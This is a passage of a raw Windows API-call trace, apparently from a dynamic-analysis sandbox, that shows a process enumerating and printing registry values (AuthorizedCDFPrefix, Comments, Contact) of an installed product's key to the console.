0x3c0000 [0149.930] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.930] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0149.930] __iob_func () returned 0x7fefd702a80 [0149.930] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.930] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.930] _fileno (_File=0x7fefd702ab0) returned 1 [0149.930] _errno () returned 0x204bb0 [0149.930] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.930] _errno () returned 0x204bb0 [0149.930] GetFileType (hFile=0x50) returned 0x1 [0149.930] lstrlenW (lpString=" ") returned 4 [0149.930] GetConsoleOutputCP () returned 0x1b5 [0149.930] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.930] GetConsoleOutputCP () returned 0x1b5 [0149.930] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.930] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.930] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.931] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0149.931] __iob_func () returned 0x7fefd702a80 [0149.931] _fileno (_File=0x7fefd702ab0) returned 1 [0149.931] _errno () returned 0x204bb0 [0149.931] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.931] _errno () returned 0x204bb0 [0149.931] GetFileType (hFile=0x50) returned 0x1 [0149.931] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0149.931] GetConsoleOutputCP () returned 0x1b5 [0149.931] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0149.931] GetConsoleOutputCP () returned 0x1b5 [0149.931] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AuthorizedCDFPrefix", lpUsedDefaultChar=0x0) returned 19 [0149.931] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 19 [0149.931] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.931] __iob_func () returned 0x7fefd702a80 [0149.931] _fileno (_File=0x7fefd702ab0) returned 1 [0149.931] _errno () returned 0x204bb0 [0149.931] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.931] _errno () returned 0x204bb0 [0149.931] GetFileType (hFile=0x50) returned 0x1 [0149.931] lstrlenW (lpString=" ") returned 4 [0149.931] GetConsoleOutputCP () returned 0x1b5 [0149.932] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.932] GetConsoleOutputCP () returned 0x1b5 [0149.932] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.932] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.932] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.932] __iob_func () returned 0x7fefd702a80 [0149.932] _fileno (_File=0x7fefd702ab0) returned 1 [0149.932] _errno () returned 0x204bb0 [0149.932] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.932] _errno () returned 0x204bb0 [0149.932] GetFileType (hFile=0x50) returned 0x1 [0149.932] lstrlenW (lpString="REG_SZ") returned 6 [0149.932] GetConsoleOutputCP () returned 0x1b5 [0149.932] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.932] GetConsoleOutputCP () returned 0x1b5 [0149.932] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.932] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.932] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.932] __iob_func () returned 0x7fefd702a80 [0149.932] _fileno (_File=0x7fefd702ab0) returned 1 [0149.932] _errno () returned 0x204bb0 [0149.932] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.932] _errno () returned 0x204bb0 [0149.932] GetFileType (hFile=0x50) returned 0x1 [0149.933] lstrlenW (lpString=" ") returned 4 [0149.933] GetConsoleOutputCP () returned 0x1b5 [0149.933] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.933] GetConsoleOutputCP () returned 0x1b5 [0149.933] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.933] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.933] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.933] __iob_func () returned 0x7fefd702a80 [0149.933] _fileno (_File=0x7fefd702ab0) returned 1 [0149.933] _errno () returned 0x204bb0 [0149.933] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.933] _errno () returned 0x204bb0 [0149.933] GetFileType (hFile=0x50) returned 0x1 [0149.933] lstrlenW (lpString="") returned 0 [0149.933] __iob_func () returned 0x7fefd702a80 [0149.933] _fileno (_File=0x7fefd702ab0) returned 1 [0149.933] _errno () returned 0x204bb0 [0149.933] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.933] _errno () returned 0x204bb0 [0149.933] GetFileType (hFile=0x50) returned 0x1 [0149.933] lstrlenW (lpString="\n") returned 1 [0149.933] GetConsoleOutputCP () returned 0x1b5 [0149.933] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.934] GetConsoleOutputCP () returned 0x1b5 [0149.934] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.934] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.934] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.934] GetProcessHeap () returned 0x3c0000 [0149.934] GetProcessHeap () returned 0x3c0000 [0149.934] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.934] GetProcessHeap () returned 0x3c0000 [0149.934] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.934] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.934] RegEnumValueW (in: hKey=0x5c, dwIndex=0x1, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Comments", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.934] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x9c) returned 0x0 [0149.934] GetProcessHeap () returned 0x3c0000 [0149.934] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x9e) returned 0x3e1c70 [0149.934] GetProcessHeap () returned 0x3c0000 [0149.934] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0149.934] GetProcessHeap () returned 0x3c0000 [0149.934] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0x9e [0149.934] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3e1c70, pcbData=0x29f780*=0x9c | out: pdwType=0x29f700*=0x1, pvData="Caution. Removing this product might prevent some applications from running.", pcbData=0x29f780*=0x9a) returned 0x0 [0149.934] __iob_func () returned 0x7fefd702a80 [0149.934] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.934] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.934] _fileno (_File=0x7fefd702ab0) returned 1 [0149.934] _errno () returned 0x204bb0 [0149.934] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.934] _errno () returned 0x204bb0 [0149.934] GetFileType (hFile=0x50) returned 0x1 [0149.934] lstrlenW (lpString=" ") returned 4 [0149.935] GetConsoleOutputCP () returned 0x1b5 [0149.935] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.935] GetConsoleOutputCP () returned 0x1b5 [0149.935] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.935] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.935] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.935] lstrlenW (lpString="Comments") returned 8 [0149.935] __iob_func () returned 0x7fefd702a80 [0149.935] _fileno (_File=0x7fefd702ab0) returned 1 [0149.935] _errno () returned 0x204bb0 [0149.935] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.935] _errno () returned 0x204bb0 [0149.935] GetFileType (hFile=0x50) returned 0x1 [0149.935] lstrlenW (lpString="Comments") returned 8 [0149.935] GetConsoleOutputCP () returned 0x1b5 [0149.935] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0149.935] GetConsoleOutputCP () returned 0x1b5 [0149.935] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Comments", lpUsedDefaultChar=0x0) returned 8 [0149.935] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0149.935] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.936] __iob_func () returned 0x7fefd702a80 [0149.936] _fileno (_File=0x7fefd702ab0) returned 1 [0149.936] _errno () returned 0x204bb0 [0149.936] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.936] _errno () returned 0x204bb0 [0149.936] GetFileType (hFile=0x50) returned 0x1 [0149.936] lstrlenW (lpString=" ") returned 4 [0149.936] GetConsoleOutputCP () returned 0x1b5 [0149.936] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.936] GetConsoleOutputCP () returned 0x1b5 [0149.936] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.936] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.936] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.936] __iob_func () returned 0x7fefd702a80 [0149.936] _fileno (_File=0x7fefd702ab0) returned 1 [0149.936] _errno () returned 0x204bb0 [0149.936] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.936] _errno () returned 0x204bb0 [0149.936] GetFileType (hFile=0x50) returned 0x1 [0149.936] lstrlenW (lpString="REG_SZ") returned 6 [0149.936] GetConsoleOutputCP () returned 0x1b5 [0149.937] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.937] GetConsoleOutputCP () returned 0x1b5 [0149.937] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.937] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.937] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.937] __iob_func () returned 0x7fefd702a80 [0149.937] _fileno (_File=0x7fefd702ab0) returned 1 [0149.937] _errno () returned 0x204bb0 [0149.937] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.937] _errno () returned 0x204bb0 [0149.937] GetFileType (hFile=0x50) returned 0x1 [0149.937] lstrlenW (lpString=" ") returned 4 [0149.937] GetConsoleOutputCP () returned 0x1b5 [0149.937] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.937] GetConsoleOutputCP () returned 0x1b5 [0149.937] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.937] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.937] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.937] __iob_func () returned 0x7fefd702a80 [0149.938] _fileno (_File=0x7fefd702ab0) returned 1 [0149.938] _errno () returned 0x204bb0 [0149.938] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.938] _errno () returned 0x204bb0 [0149.938] GetFileType (hFile=0x50) returned 0x1 [0149.938] lstrlenW (lpString="Caution. Removing this product might prevent some applications from running.") returned 76 [0149.938] GetConsoleOutputCP () returned 0x1b5 [0149.938] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Caution. Removing this product might prevent some applications from running.", cchWideChar=76, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 76 [0149.938] GetConsoleOutputCP () returned 0x1b5 [0149.938] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Caution. Removing this product might prevent some applications from running.", cchWideChar=76, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Caution. Removing this product might prevent some applications from running.", lpUsedDefaultChar=0x0) returned 76 [0149.938] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 76 [0149.938] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.938] __iob_func () returned 0x7fefd702a80 [0149.938] _fileno (_File=0x7fefd702ab0) returned 1 [0149.938] _errno () returned 0x204bb0 [0149.938] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.938] _errno () returned 0x204bb0 [0149.938] GetFileType (hFile=0x50) returned 0x1 [0149.938] lstrlenW (lpString="\n") returned 1 [0149.938] GetConsoleOutputCP () returned 0x1b5 [0149.938] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.938] GetConsoleOutputCP () returned 0x1b5 [0149.939] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.939] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.939] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.939] GetProcessHeap () returned 0x3c0000 [0149.939] GetProcessHeap () returned 0x3c0000 [0149.939] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0149.939] GetProcessHeap () returned 0x3c0000 [0149.939] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0x9e [0149.939] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0149.939] RegEnumValueW (in: hKey=0x5c, dwIndex=0x2, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Contact", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.939] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.939] GetProcessHeap () returned 0x3c0000 [0149.939] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.939] GetProcessHeap () returned 0x3c0000 [0149.939] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.939] GetProcessHeap () returned 0x3c0000 [0149.940] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.940] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0149.940] __iob_func () returned 0x7fefd702a80 [0149.940] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.940] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.940] _fileno (_File=0x7fefd702ab0) returned 1 [0149.940] _errno () returned 0x204bb0 [0149.940] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.940] _errno () returned 0x204bb0 [0149.940] GetFileType (hFile=0x50) returned 0x1 [0149.940] lstrlenW (lpString=" ") returned 4 [0149.940] GetConsoleOutputCP () returned 0x1b5 [0149.940] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.940] GetConsoleOutputCP () returned 0x1b5 [0149.940] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.940] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.940] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.940] lstrlenW (lpString="Contact") returned 7 [0149.940] __iob_func () returned 0x7fefd702a80 [0149.940] _fileno (_File=0x7fefd702ab0) returned 1 [0149.940] _errno () returned 0x204bb0 [0149.940] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.940] _errno () returned 0x204bb0 [0149.940] GetFileType (hFile=0x50) returned 0x1 [0149.940] lstrlenW (lpString="Contact") returned 7 [0149.941] GetConsoleOutputCP () returned 0x1b5 [0149.941] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0149.941] GetConsoleOutputCP () returned 0x1b5 [0149.941] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Contact", lpUsedDefaultChar=0x0) returned 7 [0149.941] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0149.941] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.941] __iob_func () returned 0x7fefd702a80 [0149.941] _fileno (_File=0x7fefd702ab0) returned 1 [0149.941] _errno () returned 0x204bb0 [0149.941] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.941] _errno () returned 0x204bb0 [0149.941] GetFileType (hFile=0x50) returned 0x1 [0149.941] lstrlenW (lpString=" ") returned 4 [0149.941] GetConsoleOutputCP () returned 0x1b5 [0149.941] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.941] GetConsoleOutputCP () returned 0x1b5 [0149.941] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.941] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.941] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.942] __iob_func () returned 0x7fefd702a80 [0149.942] _fileno (_File=0x7fefd702ab0) returned 1 [0149.942] _errno () returned 0x204bb0 [0149.942] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.942] _errno () returned 0x204bb0 [0149.942] GetFileType (hFile=0x50) returned 0x1 [0149.942] lstrlenW (lpString="REG_SZ") returned 6 [0149.942] GetConsoleOutputCP () returned 0x1b5 [0149.942] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.942] GetConsoleOutputCP () returned 0x1b5 [0149.942] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.942] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.942] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.942] __iob_func () returned 0x7fefd702a80 [0149.942] _fileno (_File=0x7fefd702ab0) returned 1 [0149.942] _errno () returned 0x204bb0 [0149.942] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.942] _errno () returned 0x204bb0 [0149.942] GetFileType (hFile=0x50) returned 0x1 [0149.942] lstrlenW (lpString=" ") returned 4 [0149.942] GetConsoleOutputCP () returned 0x1b5 [0149.942] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.942] GetConsoleOutputCP () returned 0x1b5 [0149.943] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.943] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.943] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.943] __iob_func () returned 0x7fefd702a80 [0149.943] _fileno (_File=0x7fefd702ab0) returned 1 [0149.943] _errno () returned 0x204bb0 [0149.943] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.943] _errno () returned 0x204bb0 [0149.943] GetFileType (hFile=0x50) returned 0x1 [0149.943] lstrlenW (lpString="") returned 0 [0149.943] __iob_func () returned 0x7fefd702a80 [0149.943] _fileno (_File=0x7fefd702ab0) returned 1 [0149.943] _errno () returned 0x204bb0 [0149.943] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.943] _errno () returned 0x204bb0 [0149.943] GetFileType (hFile=0x50) returned 0x1 [0149.943] lstrlenW (lpString="\n") returned 1 [0149.943] GetConsoleOutputCP () returned 0x1b5 [0149.943] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | 